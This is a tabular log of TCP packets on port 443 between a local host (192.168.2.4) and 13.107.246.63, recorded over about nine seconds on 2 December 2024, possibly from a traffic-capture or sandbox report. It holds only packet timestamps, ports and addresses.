Dec 2, 2024 04:59:26.251194954 CET	443	49927	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.253079891 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.253103971 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.253170013 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.253278971 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.253292084 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.424644947 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.427721977 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.427778006 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.427829981 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.427848101 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.427856922 CET	49928	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.427861929 CET	443	49928	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.430458069 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.430485010 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.430582047 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.430754900 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.430767059 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.555696011 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.556092978 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.556101084 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.556493044 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.556497097 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.687184095 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.687619925 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.687637091 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.688055992 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.688061953 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.990859985 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.993938923 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.994002104 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.994045019 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.994060993 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.994071960 CET	49930	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.994076967 CET	443	49930	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.996668100 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.996684074 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:26.996752977 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.996885061 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:26.996896982 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.123473883 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.126611948 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.126677990 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.126720905 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.126732111 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.126741886 CET	49931	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.126745939 CET	443	49931	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.129101992 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.129115105 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.129188061 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.129338980 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.129349947 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.943825960 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.944302082 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.944328070 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:27.944746971 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:27.944752932 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.032607079 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.033091068 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.033103943 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.033601046 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.033607006 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.210475922 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.210874081 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.210894108 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.211277008 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.211281061 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.379370928 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.382406950 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.382464886 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.382508993 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.382524967 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.382534027 CET	49932	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.382539988 CET	443	49932	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.385086060 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.385119915 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.385188103 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.385315895 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.385329962 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.489315033 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.492568016 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.492743015 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.492789984 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.492800951 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.492810011 CET	49933	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.492815018 CET	443	49933	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.495223045 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.495246887 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.495327950 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.495444059 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.495456934 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.654493093 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.657700062 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.657758951 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.660311937 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.660320997 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.660350084 CET	49934	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.660353899 CET	443	49934	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.666491985 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.666523933 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.666598082 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.666745901 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.666759014 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.740103960 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.740477085 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.740485907 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.740849972 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.740854979 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.975023985 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.975372076 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.975392103 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:28.975753069 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:28.975758076 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.175147057 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.175173998 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.175216913 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.175236940 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.175276041 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.175496101 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.175502062 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.175510883 CET	49935	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.175514936 CET	443	49935	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.178163052 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.178173065 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.178258896 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.178415060 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.178426027 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.427997112 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.431380987 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.431447029 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.431483984 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.431492090 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.431503057 CET	49936	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.431507111 CET	443	49936	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.434015989 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.434053898 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:29.434120893 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.434256077 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:29.434268951 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.099523067 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.100037098 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.100058079 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.100512981 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.100518942 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.339586973 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.340203047 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.340224028 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.340603113 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.340606928 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.380747080 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.381073952 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.381088018 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.381441116 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.381444931 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.535944939 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.539118052 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.539155960 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.539225101 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.539285898 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.539309978 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.539329052 CET	49937	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.539335012 CET	443	49937	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.541829109 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.541846037 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.541918039 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.542042971 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.542053938 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.795871019 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.798904896 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.798964024 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.798996925 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.799007893 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.799017906 CET	49938	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.799021959 CET	443	49938	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.801712990 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.801750898 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.801834106 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.801995039 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.802009106 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.819751024 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.819909096 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.819961071 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.820035934 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.820049047 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.820082903 CET	49939	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.820092916 CET	443	49939	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.821937084 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.821959019 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.822021008 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.822133064 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.822145939 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.957591057 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.957993984 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.958003998 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:30.958496094 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:30.958501101 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.213637114 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.214133024 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.214150906 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.214580059 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.214585066 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.402215958 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.405298948 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.406302929 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.406354904 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.406367064 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.406375885 CET	49940	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.406380892 CET	443	49940	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.408761024 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.408807039 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.408886909 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.409014940 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.409024000 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.657385111 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.657408953 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.657452106 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.657465935 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.657496929 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.657696962 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.657710075 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.657720089 CET	49941	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.657725096 CET	443	49941	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.660514116 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.660528898 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:31.660587072 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.660734892 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:31.660746098 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.322242975 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.322787046 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.322799921 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.323218107 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.323223114 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.583244085 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.583852053 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.583884001 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.584296942 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.584301949 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.665261984 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.665929079 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.665944099 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.666502953 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.666507959 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.766067982 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.769548893 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.769610882 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.769644976 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.769651890 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.769660950 CET	49942	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.769665003 CET	443	49942	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.772130966 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.772172928 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:32.772236109 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.772361994 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:32.772377968 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.027070999 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.027369022 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.027431965 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.027498007 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.027508974 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.027533054 CET	49943	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.027539015 CET	443	49943	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.030219078 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.030245066 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.030328989 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.030484915 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.030498028 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.118371964 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.121417046 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.121484995 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.121520042 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.121531010 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.121541023 CET	49944	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.121545076 CET	443	49944	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.123646021 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.123678923 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.123750925 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.123848915 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.123861074 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.188992023 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.189397097 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.189420938 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.189805984 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.189810038 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.440273046 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.440754890 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.440769911 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.441109896 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.441113949 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.634224892 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.637654066 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.637701988 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.637794018 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.637794018 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.637826920 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.637842894 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.637852907 CET	49945	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.637859106 CET	443	49945	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.640546083 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.640568018 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.640645981 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.640806913 CET	49950	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.640818119 CET	443	49950	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.884083986 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.887474060 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.887680054 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.887794971 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.887803078 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.887813091 CET	49946	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.887816906 CET	443	49946	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.890530109 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.890544891 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:33.890764952 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.890856981 CET	49951	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:33.890868902 CET	443	49951	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.489944935 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.490443945 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.490474939 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.490894079 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.490900040 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.809334040 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.810061932 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.810077906 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.810544968 CET	49948	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.810550928 CET	443	49948	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.840009928 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.840358019 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.840388060 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.840692043 CET	49949	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.840698957 CET	443	49949	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.928468943 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.928493977 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.928522110 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.928597927 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.928718090 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.929172039 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.929186106 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.929212093 CET	49947	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.929217100 CET	443	49947	13.107.246.63	192.168.2.4
Dec 2, 2024 04:59:34.932024002 CET	49952	443	192.168.2.4	13.107.246.63
Dec 2, 2024 04:59:34.932044029 CET	443	49952	13.107.246.63	192.168.2.4
